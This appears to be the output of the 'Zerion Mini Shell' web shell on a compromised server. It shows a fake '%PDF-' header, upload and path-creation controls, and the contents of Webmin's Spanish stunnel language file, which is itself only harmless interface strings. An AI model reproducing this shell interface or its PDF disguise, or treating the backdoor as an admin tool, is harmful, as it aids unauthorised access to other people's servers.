%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/webmin/stunnel/lang/
Upload File :
Create Path :
Current File : //usr/share/webmin/stunnel/lang/es.UTF-8

create_title=Crear Túnel SSL
edit_active=¿Activo?
edit_args=con argumentos
edit_auto=Automático
edit_cmd=Trayectoria a programa
edit_cmode=Modo de túnel
edit_cmode0=Aceptar SSL y conectar normalmente
edit_cmode1=Aceptar normal y conectar mediante SSL
edit_header1=Opciones fuente de túnel
edit_header2=Opciones de destino de túnel
edit_header3=Otras opciones
edit_iface=Dirección fuente de salida
edit_mode0=Ejecutar programa del estilo de <tt>inetd</tt>
edit_mode1=Ejecutar programa en PTY
edit_mode2=Conectar a m&#225;quina remota
edit_name=Nombre de servicio
edit_pem=Certificado SSL y archivo de clave
edit_pem0=El compilado por defecto
edit_pem1=Usa certificado de Webmin
edit_pem2=Usa certificado en archivo
edit_port=Puerto TCP
edit_rhost=Nombre de m&#225;quina remota
edit_rport=Puerto remoto
edit_tcpw=Nombre de TCP-wrappers
edit_title=Editar T&#250;nel SSL
edit_type=Ejecutar desde
index_action=Destino del t&#250;nel
index_active=&#191;Activo?
index_add=A&#241;adir un nuevo t&#250;nel SSL.
index_apply=Aplicar Cambios
index_applymsg1=Pulse este bot&#243;n para activar su configuraci&#243;n de t&#250;nel SSL mediante el env&#237;o de se&#241;ales HUP a los procesos en ejecuci&#243;n <tt>inetd</tt> y <tt>xinetd</tt>.
index_applymsg2=Pulse este bot&#243;n para activar su configuraci&#243;n de t&#250;nel SSL mediante el env&#237;o de se&#241;ales HUP al proceso <tt>inetd</tt> en ejecuci&#243;n.
index_applymsg3=Pulse este bot&#243;n para activar su configuraci&#243;n de t&#250;nel SSL mediante el env&#237;o de se&#241;ales HUP al proceso <tt>xinetd</tt> en ejecuci&#243;n.
index_cmd=Ejecutar comando $1
index_command=Comando de STunnel
index_conf=Desde archivo de configuraci&#243;n $1
index_estunnel=El comando de STunnel $1 no fue hallado en su sistema. Quiz&#225; STunnel no est&#225; instalado o tu <a href='$2'>configuraci&#243;n del m&#243;dulo</a> es incorrecta.
index_eversion=La versi&#243;n de STunnel instalada en su sistema es $1, pero este m&#243;dulo no soporta la versi&#243;n $2 y superiores.
index_name=Nombre de servicio
index_noconf=&#161;Ning&#250;n archivo de configuraci&#243;n!
index_none=No hay configurados en este momento t&#250;neles SSL para ser ejecutados desde <tt>inetd</tt> o <tt>xinetd</tt>.
index_port=Puerto TCP
index_remote=Conectar a m&#225;quina $1
index_return=Listado de t&#250;nel SSL
index_rport=Conectar a puerto $1
index_title=T&#250;neles SSL
index_version=Versi&#243;n $1 de STunnel
log_apply=Cambios Aplicados
log_create=Creado t&#250;nel SSL $1
log_delete=Borrado t&#250;nel SSL $1
log_modify=Modificado t&#250;nel SSL $1
save_ecmd=El programa a ejecutar falta o no es v&#225;lido
save_eiface=La direcci&#243;n fuente de salida falta o no es v&#225;lida
save_einetd=Ya hay un servicio inetd llamado $1.
save_ename=El nombre de servicio falta o no es v&#225;lido
save_enclash=El nombre del servicio $2 ya est&#225; en uso en el puerto $1.
save_epclash=El puerto $1 ya est&#225; siendo usado por el servicio $2
save_epem=El archivo $1 de certificado SSL no existe
save_eport=Puerto remoto falta o no es v&#225;lido
save_erhost=Nombre remoto de m&#225;quina no v&#225;lido
save_erport=Puerto remoto no v&#225;lido
save_err=Fallo al salvar t&#250;nel SSL
save_etcpw=El nombre de TCP-wrappers falta o es inv&#225;lido
save_exinetd=Ya hay un servicio xinetd llamado $1
save_export=El puerto $1 ya est&#225; siendo usado por el servicio $2 de xinetd

Zerion Mini Shell 1.0